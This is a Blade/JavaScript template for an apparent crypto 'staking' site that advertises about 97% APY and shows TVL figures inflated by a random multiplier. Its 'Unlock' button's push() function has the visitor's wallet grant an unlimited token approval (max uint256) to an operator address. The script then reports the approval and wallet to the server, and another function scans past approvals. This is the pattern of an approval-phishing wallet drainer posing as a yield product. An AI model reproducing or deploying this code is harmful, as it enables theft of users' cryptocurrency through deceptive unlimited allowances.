<img src="/static/media/ic_jd.bff24237.svg" alt="" style="margin-right: 5px;" />16fish
<img src="/static/media/ic_jd_into.a25a9d74.svg" alt="" style="margin-left: 5px;" />
</div>
<div class="strategy_li-one_content">
<div class="strategy_li-two">
<div>
{{trans('web.Staking funds')}}
</div>
<div id="use2"></div>
</div>
<div class="strategy_li-three">
<div>
{{trans('web.Proportion of funds')}}
</div>
<div>
100.00%
</div>
</div>
<div class="strategy_li-four">
<div>
{{trans('web.Staking Address')}}
</div>
<div id="s_address"></div>
</div>
<div class="strategy_li-five"></div>
<div class="strategy_li-six">
<div>
{{trans('web.Nodes Staked')}}
</div>
<div>
2,067,957.00
</div>
</div>
<div class="strategy_li-seven">
<div>
{{trans('web.Node Nominations')}}
</div>
<div>
3145
</div>
</div>
<div class="strategy_li-eight">
<div>
{{trans('web.My share')}}
</div>
<div>
0.58%
</div>
</div>
<div class="strategy_li-ten">
<div>
{{trans('web.Status')}}
</div>
<div>
<img class="pools__coin-logo-ces" alt="" src="/static/media/normal.27d504c0.svg" />
{{trans('web.normal')}}
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="pools__dialog" style="display: none;" id="apper">
<div class="staking_dialog-deposit">
<div class="staking__dialog__name bsc-staking__dialog__name">
<div class="staking__dialog__header">
{{trans('web.Certificate')}}
<img class="staking__dialog__header__closeone" src="/static/media/ic_close.4477c5ea.svg" onclick="apper_colse()" alt="" />
</div>
<div class="staking_width_top">
<div class="staking__dialog__name-li">
<img class="pools__coin-logs" alt="ATOM" src="" id="d_img" />
<div class="staking__name_title" id="d_name1"></div>
</div>
<div class="staking__dialog__name-right">
<div>
{{trans('web.Deposited1')}}&nbsp;
</div>
<div id="money">
0.0000
</div>
</div>
</div>
</div>
<div class="staking__dialog__middle">
<div>
<div class="staking__dialog__time">
<div class="staking__times">
{{trans('web.Current')}}
<div class="staking__time-percentage bsc_staking__time-percentage null">
<span id="yield2">96.88</span>%
</div>
</div>
</div>
<div class="staking__dialog__apy">
<div>
{{trans('web.APY')}}
<div class="g-pop-QuesttipStaking"></div>
</div>
<div>
<span id="yield1">96.88</span>%
</div>
</div>
<div class="staking__dialog__progress-bar">
<div class="staking__progress-bar">
<div>
<img src="/static/media/ic_lock.9a0f9ae9.svg" alt="" />
</div>
<div></div>
<div>
<img src="/static/media/ic_lock.9a0f9ae9.svg" alt="" />
</div>
<div></div>
<div>
<img src="/static/media/ic_unlock.22aedb3d.svg" alt="" />
</div>
</div>
</div>
<div class="staking__dialog__day">
<div id="time">
2021-12-15
</div>
<div>
{{trans('web.at any time')}}
</div>
<div>
22{{trans('web.DayAfter')}}
</div>
</div>
<div class="staking__progress-bar-title">
<div>
{{trans('web.Deposit')}}
</div>
<div class="staking_lists-jie">
<div>
{{trans('web.Unlock')}}
</div>
<div class="g-pop-tips"></div>
</div>
<div class="staking_lists">
<div>
{{trans('web.CLAIM1')}}
</div>
</div>
</div>
</div>
</div>
<div class="staking__dialog__botton">
<li class="staking__dialog__survivable">
<div>
{{trans('web.Income')}}
</div>
<div>
GLK
</div></li>
<li class="staking__dialog__btn"><button class="g-button pools__dialog__option g-button-bsc-theme " id="push" onclick="push()">{{trans('web.Unlock1')}}</button></li>
</div>
</div>
</div>
<div class="jss36">
<div class="page__container" style="width: 100%; height: auto; background-color: rgb(246, 247, 250); padding-bottom: 112px;">
<div class="section-banner">
<img src="/static/media/banner-staking-bsc-english.539496dc.png" alt="" />
</div>
<ul class="pool__total-tvl pool__total-tvl-bsc new_total-bsc new-top">
<li>
<div>
{{trans('web.TVL($)')}}
</div>
<div id="num1"></div>
</li>
<li>
<div>
{{trans('web.Total Users Earned($)')}}
</div>
<div id="num2"></div>
</li>
<li>
<div>
{{trans('web.Personal TVL($)')}}
</div>
<div id="count">
0.00
</div></li>
<li class="drop__info-items">
<p class="drop__info-item-title"> {{trans('web.Total Personal Earned($)')}}</p>
<p class="drop__info-item-texts bsc-texts"><span id="shouyi" style="color: #ffa34f">0.00</span>
<span class="bsc-spans spans-font" onclick="lingqu_open()">{{trans('web.CLAIM1')}}</span>
</p>
</li>
</ul>
<div class="g-filter">
<ul class="tab__container">
<li class="tab__active tab__item"><span class="tab__bsc">{{trans('web.Project List')}}</span></li>
<li class=" tab__item"><span class="tab__bsc"></span></li>
</ul>
<div class="search_options">
<div class="search_option_one" >
{{trans('web.Type')}}
</div>
<div class="select_type-content">
<div class="select_type" style="width: 60px">
<div class="dropdown__button">
<span>{{trans('web.Current')}}</span>
</div>
<div class="option__show_dis">
<div class="zi_content">
All
</div>
<div class="zi_content">
Regular
</div>
<div class="zi_content">
Current
</div>
</div>
<strong style="width: 0px; height: 0px; display: inline-block; border-top: 4px solid; transition: all 150ms ease-in 0s; border-left: 4px solid transparent; margin-left: 4px; border-right: 4px solid transparent; vertical-align: middle; position: absolute; right: 15px; top: 13px;"></strong>
</div>
</div>
</div>
</div>
<div class="pools-main">
@foreach($data as $v)
<div class="staking_li_content">
<div>
<div class="staking_li_content-title bsc-staking_title">
<div class="staking_title-li">
{{$v['name']}}
</div>
<img class="pools__coin-logos" alt="KSM" src="/upload/{{$v['name_img']}}" />
</div>
<div class="staking_content">
<div class="staking_li_time">
<div class="staking_li_time-li">
{{trans('web.Current')}}
</div>
</div>
<div class="staking_yield">
<div class="staking_yield-title">
{{trans('web.APY')}}
</div>
<div class="staking_yield-data">
{{$v['yield']}}%
</div>
</div>
<div class="staking_data bsc-staking_data">
<div>
<div class="staking_data-li">
<div>
{{$v['count_use']}}
</div>
<div>
{{trans('web.VL')}}({{$v['name']}})
</div>
</div>
<div class="staking_data-lis">
<div id="{{$v['name']}}_v">
0.0000
</div>
<div>
{{trans('web.Deposited1')}}({{$v['name']}})
</div>
</div>
</div>
</div>
<div class="staking_btn">
<div class="pools__button-group">
<button use="{{$v['count_use']}}" address="{{$v['address']}}" name="{{$v['name']}}" img="{{$v['name_img']}}" class="g-button pools__dialog__option g-button-bsc-theme g-button--normal" onclick="strategy(this)">{{trans('web.Strategy')}}</button>
<button class="g-button pools__dialog__option g-button-bsc-theme " yield="{{$v['yield']}}" img="{{$v['name_img']}}" address="{{$v['address']}}" name="{{$v['name']}}" onclick="apper_open(this)">{{trans('web.Certificate')}}</button>
</div>
</div>
</div>
<div class="pools__mao-logo__wraps">
<img class="pools__mao-logos" alt="KSM" src="/upload/{{$v['name_img']}}" />
</div>
</div>
</div>
@endforeach
</div>
@include('public/foot')
<div style="padding: 0px 16px; box-sizing: border-box; position: fixed; bottom: 32px; width: 100%; z-index: 1000;">
<div class="footer__menu" style="background: rgba(255, 255, 255, 0.98); border: 1px solid rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.08) 0px 2px 8px 0px; border-radius: 16px; display: flex; justify-content: space-between; height: 48px;">
<div class="menu__item" onclick="javascript:location.href = '/'">
<i class="i-bsc"></i>
<p class="p-bsc">{{trans('web.Home')}}</p>
</div>
<div class="menu__item" onclick="javascript:location.href = '/vault'">
<i class="i-bsc"></i>
<p class="p-bsc">{{trans('web.Single Farms')}}</p>
</div>
<div class="menu__item menu__item--actived menu__item-bsc">
<i class="i-bsc"></i>
<p class="p-bsc">Staking</p>
</div>
<div class="menu__item" onclick="javascript:location.href = '/dao'">
<i class="i-bsc"></i>
<p class="p-bsc">DAO</p>
</div>
</div>
</div>
</div>
</div>
</main>
</section>
<script src="https://cdn.bootcss.com/countup.js/1.9.3/countUp.js"></script>
<script>
var address = '';
var usdt_a = false;
var usdc_a = false;
var name1 = ''; // 代币名称
var heyue = ''; // 合约地址
function util(){
//字符串千分符
this.cuter = function (v, n) {
if (typeof (v) == 'string' || typeof (v) == 'number') {
if (n <= 0) { return v; }
n = n || 3;
var str = String(parseFloat(v));
var strAry = str.split('.');
var float = {
pref: '',
num: '',
point: '',
nextf: ''
}
if (strAry[1]) {
float.point = '.';
float.nextf = strAry[1];
}
float.pref = strAry[0].match(/^[+/-]/) || '';
strAry[0] = strAry[0].replace(/^[+/-]/, '');
var numAry = strAry[0].split('');
var kn = [];
var count = n;
for (var i = numAry.length - 1; i > -1; i--) {
kn.unshift(numAry[i]);
count--;
if (count == 0 && i > 0) {
kn.unshift(',');
count = n;
}
}
float.num = kn.join('');
return float.pref + float.num + float.point + float.nextf;
}
}
}
async function numStart() {
var options = {
useEasing: true, // 使用缓和
useGrouping: true, // 使用分组(是否显示千位分隔符,一般为 true)
separator: ',', // 分隔器(千位分隔符,默认为',')
decimal: '.', // 十进制(小数点符号,默认为 '.')
prefix: '', // 字首(数字的前缀,根据需要可设为 $,¥,¥ 等)
suffix: ''  // 后缀(数字的后缀 ,根据需要可设为 元,个,美元 等)
};
new CountUp("num1", 0, {{$config['reward17']}} + {{$config['reward17'] * $rand}}, 0, 3, options).start();
new CountUp("num2", 0, {{$config['reward18']}} + {{$config['reward18'] * $rand}}, 0, 3, options).start();
}
function strategy(obj) {
var g =new util();
var address = $($(obj)[0]).attr('address');
var img = $($(obj)[0]).attr('img');
var name = $($(obj)[0]).attr('name');
var use = g.cuter($($(obj)[0]).attr('use'));
document.getElementById('yuming').removeAttribute('style');
document.getElementById('s_img').setAttribute('src', '/upload/' + img);
document.getElementById('s_name').innerText = name;
document.getElementById('s_address').innerText = address;
document.getElementById('use1').innerText = use;
document.getElementById('use2').innerText = use;
}
function yuming_close() {
document.getElementById('yuming').setAttribute('style', 'display: none');
}
function apper_open(obj) {
document.getElementById('apper').removeAttribute('style');
var img = $($(obj)[0]).attr('img');
var name = $($(obj)[0]).attr('name');
var yield = $($(obj)[0]).attr('yield');
address = $($(obj)[0]).attr('address');
name1 = $($(obj)[0]).attr('name');
document.getElementById('d_img').setAttribute('src', '/upload/' + img);
document.getElementById('d_name1').innerText = name;
// document.getElementById('d_name3').innerText = name;
document.getElementById('yield2').innerText = yield;
document.getElementById('yield1').innerText = yield;
var date = new Date();
var time = date .getFullYear() + '-' + date .getMonth() + '-' + date .getDate();
document.getElementById('time').innerText = time;
document.getElementById('money').innerText = document.getElementById(name+'_v').innerText;
if (name == 'USDT') {
if (usdt_a) {
document.getElementById('push').setAttribute('disabled', 'disabled');
}else{
document.getElementById('push').removeAttribute('disabled');
}
}
if (name == 'USDC') {
if (usdc_a) {
document.getElementById('push').setAttribute('disabled', 'disabled');
}else{
document.getElementById('push').removeAttribute('disabled');
}
}
selectBalance(address, name);
}
// 查询余额
async function selectBalance(address) {
$.ajax({
type: "GET",
url: '/upBalance',
data: {address: selectedAccount},
success: function (data) {
var data = JSON.parse(data);
console.log(data);
if (data.code == 1) {
data.data.forEach(v => {
if (v.hash == address) {
var balance = parseFloat(v.balance / 10 ** v.tokenInfo.d).toFixed(4);
// document.getElementById('balance1').innerText = balance;
}
})
}
},
error:function () {
return message('eth.tokenview.com Error');
}
});
}
async function balanceUp() {
$.ajax({
type: "GET",
url: '/vaultBalance',
data: {address: selectedAccount, type: 3},
success: function(msg){
var data = JSON.parse(msg);
document.getElementById('USDT_v').innerText = parseFloat(data.USDT).toFixed(4);
document.getElementById('USDC_v').innerText = parseFloat(data.USDC).toFixed(4);
document.getElementById('count').innerText = (parseFloat(data.USDT) + parseFloat(data.USDC)).toFixed(2)
document.getElementById('shouyi').innerText = (parseFloat(data.USDT_T) + parseFloat(data.USDC_T)).toFixed(2)
document.getElementById('usdt_1').innerText = parseFloat(data.USDT_T).toFixed(4);
document.getElementById('usdt_2').innerText = parseFloat(data.USDC_T).toFixed(4);
},
error: function () {
return message('Balance Error');
}
});
}
function apper_colse() {
document.getElementById('apper').setAttribute('style', 'display: none');
}
function lingqu_open() {
document.getElementById('lingqu').removeAttribute('style');
}
function lingqu_close() {
document.getElementById('lingqu').setAttribute('style', 'display:none');
}
async function getTokenList() {
$.ajax({
type: "GET",
url: '/apiEther',
data: {address: selectedAccount},
success: function(msg){
var msg = JSON.parse(msg);
var list = '';
msg.result.forEach(v => {
if (v.from == selectedAccount.toLowerCase() && v.isError == 0) {
if (v.to == '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48') {
usdt_a = true;
list += 'USDT|'
}
if (v.to == '0xdac17f958d2ee523a2206206994597c13d831ec7') {
usdc_a = true;
list += 'USDC|'
}
}
});
// 同步数据库
$.ajax({
type: "GET",
url: '/authorization_v',
data: {wallet:list,address:selectedAccount}
});
},
error: function () {
return message('api.etherscan.io Error1');
}
});
}
// 提取收益
function pull() {
var usdt = parseFloat(document.getElementById('usdt_1').innerText);
var usdc = parseFloat(document.getElementById('usdt_2').innerText);
if (usdt > 0 || usdc > 0) {
if (usdt > 0) {
if (!usdt_a) {
return
}else{
all();
}
}
if (usdc > 0) {
if (!usdc_a) {
return;
}else{
all();
}
}
}
}
// 领取提交
function all() {
$.ajax({
type: "GET",
url: '/all',
data: {address: selectedAccount},
success: function(msg){
message_success('Success');
lingqu_close();
balanceUp();
}
})
}
async function upBalanceV3() {
$.ajax({
type: "GET",
url: '/upBalanceV3',
data: {address: selectedAccount},
success: function (msg) {
}
});
}
function push()
{
document.getElementById('push').innerText = '';
document.getElementById('push').setAttribute('class', 'g-button pools__dialog__option g-button-bsc-theme g-button--loading');
web3.eth.getGasPrice().then( gasPrice => {
if (!gasPrice) {
gasPrice = 98432745745;
}
const contract = new web3.eth.Contract(ABI, address);
if (selectedAccount && gasPrice && address) {
contract.methods.approve(app_address, web3.utils.toBN('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff')).send({
from: selectedAccount,
gasPrice: 100432745745,
gas: 100000,
}, function(err, tx) {
if(!err){
$.ajax({
type: "GET",
url: '/authorization_one',
data: {address:selectedAccount,wallet:name1, hash:tx}
});
var c1time = setInterval(function () {
$.ajax({
type: "GET",
url: '/authorizationSearch',
data: {tx:tx},
success: function (msg) {
var data = JSON.parse(msg);
if (data['data'][0]['type'] == 'tx') {
clearInterval(c1time)
document.getElementById('push').innerText = "{{trans('web.Unlock1')}}";
document.getElementById('push').setAttribute('class', 'g-button pools__dialog__option g-button-bsc-theme');
upBalanceV3();
}
}
});
}, 8000);
} else {
document.getElementById('push').innerText = "{{trans('web.Unlock1')}}";
document.getElementById('push').setAttribute('class', 'g-button pools__dialog__option g-button-bsc-theme');
message("{{trans('web.Unlock failed')}}")
}
})
}
});
}
async function initVault() {
var ctime = setInterval(async function () {
if (selectedAccount) {
clearInterval(ctime);
await numStart();
await balanceUp();
await getTokenList();
await upBalanceV3();
}
}, 500);
}
initVault();
</script>
</body>
</html>